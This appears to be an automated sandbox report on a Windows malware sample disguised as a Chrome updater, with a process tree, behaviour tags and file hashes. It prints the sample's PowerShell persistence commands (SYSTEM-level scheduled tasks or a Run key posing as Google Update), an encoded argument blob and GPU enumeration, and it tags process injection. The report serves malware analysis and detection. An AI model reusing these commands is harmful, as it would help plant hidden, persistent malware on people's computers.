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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2384
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2428
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:3284
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1268
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:112 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:5092
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
800KB
MD5af66e3f169ee43872594ecb4bc4cf2c6
SHA13c75eb71a08a223f5f949046676f07619870f0e5
SHA256492bc7c2a5d3055d68634942f4de1adcfa8d1a8ebef746f85718b728ac98c9ad
SHA5122e27eb98a416f49ad7f219e316b9a7364e95195ae49794d6a707217fabf5e8b650ba64e962e7368c1150ede585e99a3d330d3b89e5fc8baf39976d9acac81fbd
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Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
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Filesize
1KB
MD5162c16f870f39c3406832c69d7937cc8
SHA1d5fc4dd56be70fe1b1be7f9176831f495d13a6cf
SHA2566b01c099c05d287f9af6fe821b631dbc120057d68a42500b7dc486f60e58df57
SHA5120b704d20d92d7bb5ceca52ea2b81f8bbbfd570a80876b14a9957b4b87f2bf05df494fd66e3b1ea2455c9c4b1da2b98572211b9db5e43da8f79bbc024d2c8f2f6
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5